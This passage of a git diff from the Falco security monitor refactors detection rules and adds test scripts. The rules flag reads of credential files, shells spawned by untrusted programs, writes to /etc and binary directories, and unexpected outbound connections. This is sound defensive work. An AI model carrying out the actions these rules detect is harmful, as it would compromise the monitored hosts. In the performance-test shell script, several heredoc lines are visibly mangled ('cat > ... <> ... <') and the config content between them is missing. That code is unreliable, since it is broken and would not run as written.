+# Currently sendto is an ignored syscall, otherwise this could also check for (evt.type=sendto and evt.dir=>)
- macro: outbound
- condition: syscall.type=connect and evt.dir=< and (fd.typechar=4 or fd.typechar=6)
+ condition: evt.type=connect and evt.dir=< and (fd.typechar=4 or fd.typechar=6)
- macro: ssh_port
condition: fd.lport=22
@@ -165,17 +157,15 @@
# System
- macro: modules
- condition: syscall.type in (delete_module, init_module)
+ condition: evt.type in (delete_module, init_module)
- macro: container
condition: container.id != host
- macro: interactive
condition: ((proc.aname=sshd and proc.name != sshd) or proc.name=systemd-logind)
- macro: syslog
condition: fd.name in (/dev/log, /run/systemd/journal/syslog)
-- macro: cron
- condition: proc.name in (cron, crond)
-- macro: parent_cron
- condition: proc.pname in (cron, crond)
+- list: cron_binaries
+ items: [cron, crond]
# System users that should never log into a system. Consider adding your own
# service users (e.g. 'apache' or 'mysqld') here.
@@ -189,57 +179,64 @@
- rule: write_binary_dir
desc: an attempt to write to any file below a set of binary directories
- condition: evt.dir = < and open_write and not package_mgmt_binaries and bin_dir
+ condition: bin_dir and evt.dir = < and open_write and not package_mgmt_procs
output: "File below a known binary directory opened for writing (user=%user.name command=%proc.cmdline file=%fd.name)"
priority: WARNING
+- macro: write_etc_common
+ condition: >
+ etc_dir and evt.dir = < and open_write
+ and not proc.name in (shadowutils_binaries, sysdigcloud_binaries, package_mgmt_binaries, ssl_mgmt_binaries, dhcp_binaries, ldconfig.real)
+ and not proc.pname in (sysdigcloud_binaries)
+ and not fd.directory in (/etc/cassandra, /etc/ssl/certs/java)
+
- rule: write_etc
desc: an attempt to write to any file below /etc, not in a pipe installer session
- condition: evt.dir = < and open_write and not shadowutils_binaries and not sysdigcloud_binaries_parent and not package_mgmt_binaries and etc_dir and not proc.sname=fbash
+ condition: write_etc_common and not proc.sname=fbash
output: "File below /etc opened for writing (user=%user.name command=%proc.cmdline file=%fd.name)"
priority: WARNING
# Within a fbash session, the severity is lowered to INFO
- rule: write_etc_installer
desc: an attempt to write to any file below /etc, in a pipe installer session
- condition: evt.dir = < and open_write and not shadowutils_binaries and not sysdigcloud_binaries_parent and not package_mgmt_binaries and etc_dir and proc.sname=fbash
+ condition: write_etc_common and proc.sname=fbash
output: "File below /etc opened for writing (user=%user.name command=%proc.cmdline file=%fd.name) within pipe installer session"
priority: INFO
- rule: read_sensitive_file_untrusted
desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information). Exceptions are made for known trusted programs.
- condition: open_read and not user_mgmt_binaries and not userexec_binaries and not proc.name in (iptables, ps, lsb_release, check-new-relea, dumpe2fs, accounts-daemon, bash, sshd) and not cron and sensitive_files
+ condition: sensitive_files and open_read and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries, cron_binaries, iptables, ps, lsb_release, check-new-relea, dumpe2fs, accounts-daemon, bash, sshd) and not proc.cmdline contains /usr/bin/mandb
output: "Sensitive file opened for reading by non-trusted program (user=%user.name command=%proc.cmdline file=%fd.name)"
priority: WARNING
- rule: read_sensitive_file_trusted_after_startup
desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information) by a trusted program after startup. Trusted programs might read these files at startup to load initial state, but not afterwards.
- condition: open_read and server_binaries and not proc_is_new and sensitive_files and proc.name!="sshd"
+ condition: sensitive_files and open_read and server_procs and not proc_is_new and proc.name!="sshd"
output: "Sensitive file opened for reading by trusted program after startup (user=%user.name command=%proc.cmdline file=%fd.name)"
priority: WARNING
# Only let rpm-related programs write to the rpm database
- rule: write_rpm_database
desc: an attempt to write to the rpm database by any non-rpm related program
- condition: open_write and not proc.name in (rpm,rpmkey,yum) and fd.directory=/var/lib/rpm
+ condition: fd.name startswith /var/lib/rpm and open_write and not proc.name in (rpm,rpmkey,yum)
output: "Rpm database opened for writing by a non-rpm program (command=%proc.cmdline file=%fd.name)"
priority: WARNING
- rule: db_program_spawned_process
desc: a database-server related program spawned a new process other than itself. This shouldn\'t occur and is a follow on from some SQL injection attacks.
- condition: db_server_binaries_parent and not db_server_binaries and spawned_process
+ condition: proc.pname in (db_server_binaries) and spawned_process and not proc.name in (db_server_binaries)
output: "Database-related program spawned process other than itself (user=%user.name program=%proc.cmdline parent=%proc.pname)"
priority: WARNING
- rule: modify_binary_dirs
desc: an attempt to modify any file below a set of binary directories.
- condition: modify and bin_dir_rename and not package_mgmt_binaries
+ condition: bin_dir_rename and modify and not package_mgmt_procs
output: "File below known binary directory renamed/removed (user=%user.name command=%proc.cmdline operation=%evt.type file=%fd.name %evt.args)"
priority: WARNING
- rule: mkdir_binary_dirs
desc: an attempt to create a directory below a set of binary directories.
- condition: mkdir and bin_dir_mkdir and not package_mgmt_binaries
+ condition: mkdir and bin_dir_mkdir and not package_mgmt_procs
output: "Directory below known binary directory created (user=%user.name command=%proc.cmdline directory=%evt.arg.path)"
priority: WARNING
@@ -261,13 +258,13 @@
- rule: change_thread_namespace
desc: an attempt to change a program/thread\'s namespace (commonly done as a part of creating a container) by calling setns.
- condition: syscall.type = setns and not proc.name in (docker, sysdig, dragent)
+ condition: evt.type = setns and not proc.name in (docker, sysdig, dragent, nsenter, exe)
output: "Namespace change (setns) by unexpected program (user=%user.name command=%proc.cmdline container=%container.id)"
priority: WARNING
- rule: run_shell_untrusted
desc: an attempt to spawn a shell by a non-shell program. Exceptions are made for trusted binaries.
- condition: not container and proc.name = bash and spawned_process and proc.pname exists and not parent_cron and not proc.pname in (bash, sshd, sudo, docker, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent)
+ condition: spawned_process and not container and proc.name = bash and proc.pname exists and not proc.pname in (cron_binaries, bash, sshd, sudo, docker, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent)
output: "Shell spawned by untrusted binary (user=%user.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
priority: WARNING
@@ -284,14 +281,14 @@
- rule: run_shell_in_container
desc: a shell was spawned by a non-shell program in a container. Container entrypoints are excluded.
- condition: container and proc.name = bash and spawned_process and proc.pname exists and not proc.pname in (bash, docker)
+ condition: spawned_process and container and proc.name = bash and proc.pname exists and not proc.pname in (sh, bash, docker)
output: "Shell spawned in a container other than entrypoint (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)"
priority: WARNING
# sockfamily ip is to exclude certain processes (like 'groups') that communicate on unix-domain sockets
-- rule: system_binaries_network_activity
+- rule: system_procs_network_activity
desc: any network activity performed by system binaries that are not expected to send or receive any network traffic
- condition: (inbound or outbound) and (fd.sockfamily = ip and system_binaries)
+ condition: (fd.sockfamily = ip and system_procs) and (inbound or outbound)
output: "Known system binary sent/received network traffic (user=%user.name command=%proc.cmdline connection=%fd.name)"
priority: WARNING
@@ -304,23 +301,23 @@
# output: "sshd sent error message to syslog (error=%evt.buffer)"
# priority: WARNING
-# sshd, sendmail-msp, sendmail attempt to setuid to root even when running as non-root. Excluding here to avoid meaningless FPs
+# sshd, mail programs attempt to setuid to root even when running as non-root. Excluding here to avoid meaningless FPs
- rule: non_sudo_setuid
desc: an attempt to change users by calling setuid. sudo/su are excluded. user "root" is also excluded, as setuid calls typically involve dropping privileges.
- condition: evt.type=setuid and evt.dir=> and not user.name=root and not userexec_binaries and not proc.name in (sshd, sendmail-msp, sendmail)
+ condition: evt.type=setuid and evt.dir=> and not user.name=root and not proc.name in (userexec_binaries, mail_binaries, sshd)
output: "Unexpected setuid call by non-sudo, non-root program (user=%user.name command=%proc.cmdline uid=%evt.arg.uid)"
priority: WARNING
- rule: user_mgmt_binaries
desc: activity by any programs that can manage users, passwords, or permissions. sudo and su are excluded. Activity in containers is also excluded--some containers create custom users on top of a base linux distribution at startup.
- condition: spawned_process and not proc.name in (su, sudo) and not container and user_mgmt_binaries and not parent_cron and not proc.pname in (systemd, run-parts)
+ condition: spawned_process and proc.name in (user_mgmt_binaries) and not proc.name in (su, sudo) and not container and not proc.pname in (cron_binaries, systemd, run-parts)
output: "User management binary command run outside of container (user=%user.name command=%proc.cmdline parent=%proc.pname)"
priority: WARNING
# (we may need to add additional checks against false positives, see: https://bugs.launchpad.net/ubuntu/+source/rkhunter/+bug/86153)
- rule: create_files_below_dev
desc: creating any files below /dev other than known programs that manage devices. Some rootkits hide files in /dev.
- condition: (evt.type = creat or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and fd.name != /dev/null
+ condition: fd.directory = /dev and (evt.type = creat or (evt.type = open and evt.arg.flags contains O_CREAT)) and proc.name != blkid and not fd.name in (/dev/null,/dev/stdin,/dev/stdout,/dev/stderr,/dev/tty)
output: "File created below /dev by untrusted program (user=%user.name command=%proc.cmdline file=%fd.name)"
priority: WARNING
@@ -339,7 +336,7 @@
- rule: installer_bash_non_https_connection
desc: an attempt by a program in a pipe installer session to make an outgoing connection on a non-http(s) port
- condition: outbound and not fd.sport in (80, 443, 53) and proc.sname=fbash
+ condition: proc.sname=fbash and outbound and not fd.sport in (80, 443, 53)
output: "Outbound connection on non-http(s) port by a process in a fbash session (command=%proc.cmdline connection=%fd.name)"
priority: WARNING
@@ -361,7 +358,7 @@
# as a part of doing the installation
- rule: installer_bash_runs_pkgmgmt
desc: an attempt by a program in a pipe installer session to run a package management binary
- condition: evt.type=execve and package_mgmt_binaries and proc.sname=fbash
+ condition: evt.type=execve and package_mgmt_procs and proc.sname=fbash
output: "Package management program run by process in a fbash session (command=%proc.cmdline)"
priority: INFO
@@ -530,6 +527,6 @@
# - rule: http_server_unexpected_network_inbound
# desc: inbound network traffic to a http server program on a port other than the standard ports
-# condition: http_server_binaries and inbound and fd.sport != 80 and fd.sport != 443
+# condition: proc.name in (http_server_binaries) and inbound and fd.sport != 80 and fd.sport != 443
# output: "Inbound network traffic to HTTP Server on unexpected port (connection=%fd.name)"
# priority: WARNING
diff --git a/test/cpu_monitor.sh b/test/cpu_monitor.sh
new file mode 100644
index 00000000..ff902b2d
--- /dev/null
+++ b/test/cpu_monitor.sh
@@ -0,0 +1,9 @@
+#!/bin/bash
+
+SUBJ_PID=$1
+BENCHMARK=$2
+VARIANT=$3
+RESULTS_FILE=$4
+CPU_INTERVAL=$5
+
+top -d $CPU_INTERVAL -b -p $SUBJ_PID | grep -E '(falco|sysdig|dragent)' --line-buffered | awk -v benchmark=$BENCHMARK -v variant=$VARIANT '{printf("{\"time\": \"%s\", \"sample\": %d, \"benchmark\": \"%s\", \"variant\": \"%s\", \"cpu_usage\": %s},\n", strftime("%Y-%m-%d %H:%M:%S", systime(), 1), NR, benchmark, variant, $9); fflush();}' >> $RESULTS_FILE
diff --git a/test/empty.scap b/test/empty.scap
new file mode 100644
index 00000000..9e0651e3
Binary files /dev/null and b/test/empty.scap differ
diff --git a/test/falco_rules_warnings.yaml b/test/falco_rules_warnings.yaml
new file mode 100644
index 00000000..476ca3ad
--- /dev/null
+++ b/test/falco_rules_warnings.yaml
@@ -0,0 +1,186 @@
+- rule: no_warnings
+ desc: Rule with no warnings
+ condition: evt.type=execve
+ output: "None"
+ priority: WARNING
+
+- rule: no_evttype
+ desc: No evttype at all
+ condition: proc.name=foo
+ output: "None"
+ priority: WARNING
+
+- rule: evttype_not_equals
+ desc: Using != for event type
+ condition: evt.type!=execve
+ output: "None"
+ priority: WARNING
+
+- rule: leading_not
+ desc: condition starts with not
+ condition: not evt.type=execve
+ output: "None"
+ priority: WARNING
+
+- rule: not_equals_after_evttype
+ desc: != after evt.type, not affecting results
+ condition: evt.type=execve and proc.name!=foo
+ output: "None"
+ priority: WARNING
+
+- rule: not_after_evttype
+ desc: not operator after evt.type, not affecting results
+ condition: evt.type=execve and not proc.name=foo
+ output: "None"
+ priority: WARNING
+
+- rule: leading_trailing_evttypes
+ desc: evttype at beginning and end
+ condition: evt.type=execve and proc.name=foo or evt.type=open
+ output: "None"
+ priority: WARNING
+
+- rule: leading_multtrailing_evttypes
+ desc: one evttype at beginning, multiple at end
+ condition: evt.type=execve and proc.name=foo or evt.type=open or evt.type=connect
+ output: "None"
+ priority: WARNING
+
+- rule: leading_multtrailing_evttypes_using_in
+ desc: one evttype at beginning, multiple at end, using in
+ condition: evt.type=execve and proc.name=foo or evt.type in (open, connect)
+ output: "None"
+ priority: WARNING
+
+- rule: not_equals_at_end
+ desc: not_equals at final evttype
+ condition: evt.type=execve and proc.name=foo or evt.type=open or evt.type!=connect
+ output: "None"
+ priority: WARNING
+
+- rule: not_at_end
+ desc: not operator for final evttype
+ condition: evt.type=execve and proc.name=foo or evt.type=open or not evt.type=connect
+ output: "None"
+ priority: WARNING
+
+- rule: not_before_trailing_evttype
+ desc: a not before a trailing event type
+ condition: evt.type=execve and not proc.name=foo or evt.type=open
+ output: "None"
+ priority: WARNING
+
+- rule: not_equals_before_trailing_evttype
+ desc: a != before a trailing event type
+ condition: evt.type=execve and proc.name!=foo or evt.type=open
+ output: "None"
+ priority: WARNING
+
+- rule: not_equals_and_not
+ desc: both != and not before event types
+ condition: evt.type=execve and proc.name!=foo or evt.type=open or not evt.type=connect
+ output: "None"
+ priority: WARNING
+
+- rule: not_equals_before_in
+ desc: != before an in with event types
+ condition: evt.type=execve and proc.name!=foo or evt.type in (open, connect)
+ output: "None"
+ priority: WARNING
+
+- rule: not_before_in
+ desc: a not before an in with event types
+ condition: evt.type=execve and not proc.name=foo or evt.type in (open, connect)
+ output: "None"
+ priority: WARNING
+
+- rule: not_in_before_in
+ desc: a not with in before an in with event types
+ condition: evt.type=execve and not proc.name in (foo, bar) or evt.type in (open, connect)
+ output: "None"
+ priority: WARNING
+
+- rule: evttype_in
+ desc: using in for event types
+ condition: evt.type in (execve, open)
+ output: "None"
+ priority: WARNING
+
+- rule: evttype_in_plus_trailing
+ desc: using in for event types and a trailing evttype
+ condition: evt.type in (execve, open) and proc.name=foo or evt.type=connect
+ output: "None"
+ priority: WARNING
+
+- rule: leading_in_not_equals_before_evttype
+ desc: initial in() for event types, then a != before an additional event type
+ condition: evt.type in (execve, open) and proc.name!=foo or evt.type=connect
+ output: "None"
+ priority: WARNING
+
+- rule: leading_in_not_equals_at_evttype
+ desc: initial in() for event types, then a != with an additional event type
+ condition: evt.type in (execve, open) or evt.type!=connect
+ output: "None"
+ priority: WARNING
+
+- rule: not_with_evttypes
+ desc: not in for event types
+ condition: not evt.type in (execve, open)
+ output: "None"
+ priority: WARNING
+
+- rule: not_with_evttypes_addl
+ desc: not in for event types, and an additional event type
+ condition: not evt.type in (execve, open) or evt.type=connect
+ output: "None"
+ priority: WARNING
+
+- rule: not_equals_before_evttype
+ desc: != before any event type
+ condition: proc.name!=foo and evt.type=execve
+ output: "None"
+ priority: WARNING
+
+- rule: not_equals_before_in_evttype
+ desc: != before any event type using in
+ condition: proc.name!=foo and evt.type in (execve, open)
+ output: "None"
+ priority: WARNING
+
+- rule: not_before_evttype
+ desc: not operator before any event type
+ condition: not proc.name=foo and evt.type=execve
+ output: "None"
+ priority: WARNING
+
+- rule: not_before_evttype_using_in
+ desc: not operator before any event type using in
+ condition: not proc.name=foo and evt.type in (execve, open)
+ output: "None"
+ priority: WARNING
+
+- rule: repeated_evttypes
+ desc: event types appearing multiple times
+ condition: evt.type=open or evt.type=open
+ output: "None"
+ priority: WARNING
+
+- rule: repeated_evttypes_with_in
+ desc: event types appearing multiple times with in
+ condition: evt.type in (open, open)
+ output: "None"
+ priority: WARNING
+
+- rule: repeated_evttypes_with_separate_in
+ desc: event types appearing multiple times with separate ins
+ condition: evt.type in (open) or evt.type in (open, open)
+ output: "None"
+ priority: WARNING
+
+- rule: repeated_evttypes_with_mix
+ desc: event types appearing multiple times with mix of = and in
+ condition: evt.type=open or evt.type in (open, open)
+ output: "None"
+ priority: WARNING
+
diff --git a/test/falco_test.py b/test/falco_test.py
index adb35767..8c4cf9f7 100644
--- a/test/falco_test.py
+++ b/test/falco_test.py
@@ -3,6 +3,7 @@
import os
import re
import json
+import sets
from avocado import Test
from avocado.utils import process
@@ -16,9 +17,34 @@ class FalcoTest(Test):
"""
self.falcodir = self.params.get('falcodir', '/', default=os.path.join(self.basedir, '../build'))
- self.should_detect = self.params.get('detect', '*')
+ self.should_detect = self.params.get('detect', '*', default=False)
self.trace_file = self.params.get('trace_file', '*')
- self.json_output = self.params.get('json_output', '*')
+
+ if not os.path.isabs(self.trace_file):
+ self.trace_file = os.path.join(self.basedir, self.trace_file)
+
+ self.json_output = self.params.get('json_output', '*', default=False)
+ self.rules_file = self.params.get('rules_file', '*', default=os.path.join(self.basedir, '../rules/falco_rules.yaml'))
+
+ if not os.path.isabs(self.rules_file):
+ self.rules_file = os.path.join(self.basedir, self.rules_file)
+
+ self.rules_warning = self.params.get('rules_warning', '*', default=False)
+ if self.rules_warning == False:
+ self.rules_warning = sets.Set()
+ else:
+ self.rules_warning = sets.Set(self.rules_warning)
+
+ # Maps from rule name to set of evttypes
+ self.rules_events = self.params.get('rules_events', '*', default=False)
+ if self.rules_events == False:
+ self.rules_events = {}
+ else:
+ events = {}
+ for item in self.rules_events:
+ for item2 in item:
+ events[item2[0]] = sets.Set(item2[1])
+ self.rules_events = events
if self.should_detect:
self.detect_level = self.params.get('detect_level', '*')
@@ -33,21 +59,38 @@ class FalcoTest(Test):
self.str_variant = self.trace_file
- def test(self):
- self.log.info("Trace file %s", self.trace_file)
+ def check_rules_warnings(self, res):
- # Run the provided trace file though falco
- cmd = '{}/userspace/falco/falco -r {}/../rules/falco_rules.yaml -c {}/../falco.yaml -e {} -o json_output={}'.format(
- self.falcodir, self.falcodir, self.falcodir, self.trace_file, self.json_output)
+ found_warning = sets.Set()
- self.falco_proc = process.SubProcess(cmd)
+ for match in re.finditer('Rule ([^:]+): warning \(([^)]+)\):', res.stderr):
+ rule = match.group(1)
+ warning = match.group(2)
+ found_warning.add(rule)
- res = self.falco_proc.run(timeout=60, sig=9)
+ self.log.debug("Expected warning rules: {}".format(self.rules_warning))
+ self.log.debug("Actual warning rules: {}".format(found_warning))
- if res.exit_status != 0:
- self.error("Falco command \"{}\" exited with non-zero return value {}".format(
- cmd, res.exit_status))
+ if found_warning != self.rules_warning:
+ self.fail("Expected rules with warnings {} does not match actual rules with warnings {}".format(self.rules_warning, found_warning))
+ def check_rules_events(self, res):
+
+ found_events = {}
+
+ for match in re.finditer('Event types for rule ([^:]+): (\S+)', res.stderr):
+ rule = match.group(1)
+ events = sets.Set(match.group(2).split(","))
+ found_events[rule] = events
+
+ self.log.debug("Expected events for rules: {}".format(self.rules_events))
+ self.log.debug("Actual events for rules: {}".format(found_events))
+
+ for rule in found_events.keys():
+ if found_events.get(rule) != self.rules_events.get(rule):
+ self.fail("rule {}: expected events {} differs from actual events {}".format(rule, self.rules_events.get(rule), found_events.get(rule)))
+
+ def check_detections(self, res):
# Get the number of events detected.
match = re.search('Events detected: (\d+)', res.stdout)
if match is None:
@@ -73,6 +116,7 @@ class FalcoTest(Test):
if not events_detected > 0:
self.fail("Detected {} events at level {} when should have detected > 0".format(events_detected, self.detect_level))
+ def check_json_output(self, res):
if self.json_output:
# Just verify that any lines starting with '{' are valid json objects.
# Doesn't do any deep inspection of the contents.
@@ -82,6 +126,27 @@ class FalcoTest(Test):
for attr in ['time', 'rule', 'priority', 'output']:
if not attr in obj:
self.fail("Falco JSON object {} does not contain property \"{}\"".format(line, attr))
+
+ def test(self):
+ self.log.info("Trace file %s", self.trace_file)
+
+ # Run the provided trace file though falco
+ cmd = '{}/userspace/falco/falco -r {} -c {}/../falco.yaml -e {} -o json_output={} -v'.format(
+ self.falcodir, self.rules_file, self.falcodir, self.trace_file, self.json_output)
+
+ self.falco_proc = process.SubProcess(cmd)
+
+ res = self.falco_proc.run(timeout=180, sig=9)
+
+ if res.exit_status != 0:
+ self.error("Falco command \"{}\" exited with non-zero return value {}".format(
+ cmd, res.exit_status))
+
+ self.check_rules_warnings(res)
+ if len(self.rules_events) > 0:
+ self.check_rules_events(res)
+ self.check_detections(res)
+ self.check_json_output(res)
pass
diff --git a/test/falco_tests.yaml.in b/test/falco_tests.yaml.in
new file mode 100644
index 00000000..bb1eb511
--- /dev/null
+++ b/test/falco_tests.yaml.in
@@ -0,0 +1,62 @@
+trace_files: !mux
+ builtin_rules_no_warnings:
+ detect: False
+ trace_file: empty.scap
+ rules_warning: False
+
+ test_warnings:
+ detect: False
+ trace_file: empty.scap
+ rules_file: falco_rules_warnings.yaml
+ rules_warning:
+ - no_evttype
+ - evttype_not_equals
+ - leading_not
+ - not_equals_at_end
+ - not_at_end
+ - not_before_trailing_evttype
+ - not_equals_before_trailing_evttype
+ - not_equals_and_not
+ - not_equals_before_in
+ - not_before_in
+ - not_in_before_in
+ - leading_in_not_equals_before_evttype
+ - leading_in_not_equals_at_evttype
+ - not_with_evttypes
+ - not_with_evttypes_addl
+ - not_equals_before_evttype
+ - not_equals_before_in_evttype
+ - not_before_evttype
+ - not_before_evttype_using_in
+ rules_events:
+ - no_warnings: [execve]
+ - no_evttype: [all]
+ - evttype_not_equals: [all]
+ - leading_not: [all]
+ - not_equals_after_evttype: [execve]
+ - not_after_evttype: [execve]
+ - leading_trailing_evttypes: [execve,open]
+ - leading_multtrailing_evttypes: [connect,execve,open]
+ - leading_multtrailing_evttypes_using_in: [connect,execve,open]
+ - not_equals_at_end: [all]
+ - not_at_end: [all]
+ - not_before_trailing_evttype: [all]
+ - not_equals_before_trailing_evttype: [all]
+ - not_equals_and_not: [all]
+ - not_equals_before_in: [all]
+ - not_before_in: [all]
+ - not_in_before_in: [all]
+ - evttype_in: [execve,open]
+ - evttype_in_plus_trailing: [connect,execve,open]
+ - leading_in_not_equals_before_evttype: [all]
+ - leading_in_not_equals_at_evttype: [all]
+ - not_with_evttypes: [all]
+ - not_with_evttypes_addl: [all]
+ - not_equals_before_evttype: [all]
+ - not_equals_before_in_evttype: [all]
+ - not_before_evttype: [all]
+ - not_before_evttype_using_in: [all]
+ - repeated_evttypes: [open]
+ - repeated_evttypes_with_in: [open]
+ - repeated_evttypes_with_separate_in: [open]
+ - repeated_evttypes_with_mix: [open]
diff --git a/test/plot-live.r b/test/plot-live.r
new file mode 100644
index 00000000..1305da65
--- /dev/null
+++ b/test/plot-live.r
@@ -0,0 +1,40 @@
+require(jsonlite)
+library(ggplot2)
+library(GetoptLong)
+
+initial.options <- commandArgs(trailingOnly = FALSE)
+file.arg.name <- "--file="
+script.name <- sub(file.arg.name, "", initial.options[grep(file.arg.name, initial.options)])
+script.basename <- dirname(script.name)
+
+if (substr(script.basename, 1, 1) != '/') {
+ script.basename = paste(getwd(), script.basename, sep='/')
+}
+
+results = paste(script.basename, "results.json", sep='/')
+output = "./output.png"
+
+GetoptLong(
+ "results=s", "Path to results file",
+ "benchmark=s", "Benchmark from results file to graph",
+ "variant=s@", "Variant(s) to include in graph. Can be specified multiple times",
+ "output=s", "Output graph file"
+)
+
+res <- fromJSON(results, flatten=TRUE)
+
+res2 = res[res$benchmark == benchmark & res$variant %in% variant,]
+
+plot <- ggplot(data=res2, aes(x=sample, y=cpu_usage, group=variant, colour=variant)) +
+ geom_line() +
+ ylab("CPU Usage (%)") +
+ xlab("Time") +
+ ggtitle(sprintf("Falco/Sysdig CPU Usage: %s", benchmark))
+ theme(legend.position=c(.2, .88));
+
+print(paste("Writing graph to", output, sep=" "))
+ggsave(file=output)
+
+
+
+
diff --git a/test/plot-traces.r b/test/plot-traces.r
new file mode 100644
index 00000000..a38bfaf9
--- /dev/null
+++ b/test/plot-traces.r
@@ -0,0 +1,35 @@
+require(jsonlite)
+library(ggplot2)
+library(reshape)
+
+res <- fromJSON("/home/mstemm/results.txt", flatten=TRUE)
+
+plot <- ggplot(data=res, aes(x=config, y=elapsed.real)) +
+ geom_bar(stat = "summary", fun.y = "mean") +
+ coord_flip() +
+ facet_grid(shortfile ~ .) +
+ ylab("Wall Clock Time (sec)") +
+ xlab("Trace File/Program")
+
+
+ggsave(file="/mnt/sf_mstemm/res-real.png")
+
+plot <- ggplot(data=res, aes(x=config, y=elapsed.user)) +
+ geom_bar(stat = "summary", fun.y = "mean") +
+ coord_flip() +
+ facet_grid(shortfile ~ .) +
+ ylab("User Time (sec)") +
+ xlab("Trace File/Program")
+
+
+ggsave(file="/mnt/sf_mstemm/res-user.png")
+
+res2 <- melt(res, id.vars = c("config", "shortfile"), measure.vars = c("elapsed.sys", "elapsed.user"))
+plot <- ggplot(data=res2, aes(x=config, y=value, fill=variable, order=variable)) +
+ geom_bar(stat = "summary", fun.y = "mean") +
+ coord_flip() +
+ facet_grid(shortfile ~ .) +
+ ylab("User/System Time (sec)") +
+ xlab("Trace File/Program")
+
+ggsave(file="/mnt/sf_mstemm/res-sys-user.png")
diff --git a/test/run_performance_tests.sh b/test/run_performance_tests.sh
new file mode 100644
index 00000000..28ddde4c
--- /dev/null
+++ b/test/run_performance_tests.sh
@@ -0,0 +1,391 @@
+#!/bin/bash
+
+#set -x
+
+trap "cleanup; exit" SIGHUP SIGINT SIGTERM
+
+function download_trace_files() {
+
+ (mkdir -p $TRACEDIR && rm -rf $TRACEDIR/traces-perf && curl -fo $TRACEDIR/traces-perf.zip https://s3.amazonaws.com/download.draios.com/falco-tests/traces-perf.zip && unzip -d $TRACEDIR $TRACEDIR/traces-perf.zip && rm -f $TRACEDIR/traces-perf.zip) || exit 1
+
+}
+
+function time_cmd() {
+ cmd="$1"
+ file="$2"
+
+ benchmark=`basename $file .scap`
+
+ echo -n "$benchmark: "
+ for i in `seq 1 5`; do
+ echo -n "$i "
+ time=`date --iso-8601=sec`
+ /usr/bin/time -a -o $RESULTS_FILE --format "{\"time\": \"$time\", \"benchmark\": \"$benchmark\", \"file\": \"$file\", \"variant\": \"$VARIANT\", \"elapsed\": {\"real\": %e, \"user\": %U, \"sys\": %S}}," $cmd >> $OUTPUT_FILE 2>&1
+ done
+ echo ""
+}
+
+function run_falco_on() {
+ file="$1"
+
+ cmd="$ROOT/userspace/falco/falco -c $ROOT/../falco.yaml -r $ROOT/../rules/falco_rules.yaml --option=stdout_output.enabled=false -e $file"
+
+ time_cmd "$cmd" "$file"
+}
+
+function run_sysdig_on() {
+ file="$1"
+
+ cmd="$ROOT/userspace/sysdig/sysdig -N -z -r $file evt.type=none"
+
+ time_cmd "$cmd" "$file"
+}
+
+function write_agent_config() {
+ cat > $ROOT/userspace/dragent/dragent.yaml <> $ROOT/userspace/dragent/dragent.yaml <> $ROOT/userspace/dragent/dragent.yaml <> $ROOT/userspace/dragent/dragent.yaml <> $ROOT/userspace/dragent/dragent.yaml < ./prog-output.txt 2>&1 &
+ elif [[ $ROOT == *"sysdig"* ]]; then
+ sudo $ROOT/userspace/sysdig/sysdig -N -z evt.type=none &
+ else
+ write_agent_config
+ pushd $ROOT/userspace/dragent
+ sudo ./dragent > ./prog-output.txt 2>&1 &
+ popd
+ fi
+
+ SUDO_PID=$!
+ sleep 5
+ if [[ $ROOT == *"agent"* ]]; then
+ # The agent spawns several processes all below a main monitor
+ # process. We want the child with the lowest pid.
+ MON_PID=`ps -h -o pid --ppid $SUDO_PID`
+ SUBJ_PID=`ps -h -o pid --ppid $MON_PID | head -1`
+ else
+ SUBJ_PID=`ps -h -o pid --ppid $SUDO_PID`
+ fi
+
+ if [ -z $SUBJ_PID ]; then
+ echo "Could not find pid of subject program--did it start successfully? Not continuing."
+ exit 1
+ fi
+}
+
+function run_htop() {
+ screen -S htop-screen -d -m /usr/bin/htop -d2
+ sleep 90
+ screen -X -S htop-screen quit
+}
+
+function run_juttle_examples() {
+ pushd $SCRIPTDIR/../../juttle-engine/examples
+ docker-compose -f dc-juttle-engine.yml -f aws-cloudwatch/dc-aws-cloudwatch.yml -f elastic-newstracker/dc-elastic.yml -f github-tutorial/dc-elastic.yml -f nginx_logs/dc-nginx-logs.yml -f postgres-diskstats/dc-postgres.yml -f cadvisor-influx/dc-cadvisor-influx.yml up -d
+ sleep 120
+ docker-compose -f dc-juttle-engine.yml -f aws-cloudwatch/dc-aws-cloudwatch.yml -f elastic-newstracker/dc-elastic.yml -f github-tutorial/dc-elastic.yml -f nginx_logs/dc-nginx-logs.yml -f postgres-diskstats/dc-postgres.yml -f cadvisor-influx/dc-cadvisor-influx.yml stop
+ docker-compose -f dc-juttle-engine.yml -f aws-cloudwatch/dc-aws-cloudwatch.yml -f elastic-newstracker/dc-elastic.yml -f github-tutorial/dc-elastic.yml -f nginx_logs/dc-nginx-logs.yml -f postgres-diskstats/dc-postgres.yml -f cadvisor-influx/dc-cadvisor-influx.yml rm -fv
+ popd
+}
+
+function run_kubernetes_demo() {
+ pushd $SCRIPTDIR/../../infrastructure/test-infrastructures/kubernetes-demo
+ bash run-local.sh
+ bash init.sh
+ sleep 600
+ docker stop $(docker ps -qa)
+ docker rm -fv $(docker ps -qa)
+ popd
+}
+
+function run_live_test() {
+
+ live_test="$1"
+
+ echo "Running live test $live_test"
+
+ case "$live_test" in
+ htop ) CPU_INTERVAL=2;;
+ * ) CPU_INTERVAL=10;;
+ esac
+
+ start_subject_prog
+ start_monitor_cpu_usage
+
+ echo " starting live program and waiting for it to finish"
+ case "$live_test" in
+ htop ) run_htop ;;
+ juttle-examples ) run_juttle_examples ;;
+ kube-demo ) run_kubernetes_demo ;;
+ * ) usage; cleanup; exit 1 ;;
+ esac
+
+ cleanup
+
+}
+
+function cleanup() {
+
+ if [ -n "$SUBJ_PID" ] ; then
+ echo " stopping falco/sysdig program $SUBJ_PID"
+ sudo kill $SUBJ_PID
+ fi
+
+ if [ -n "$CPU_PID" ] ; then
+ echo " stopping cpu monitor program $CPU_PID"
+ kill -- -$CPU_PID
+ fi
+}
+
+run_live_tests() {
+ test="$1"
+
+ if [ $test == "all" ]; then
+ tests="htop juttle-examples kube-demo"
+ else
+ tests=$test
+ fi
+
+ for test in $tests; do
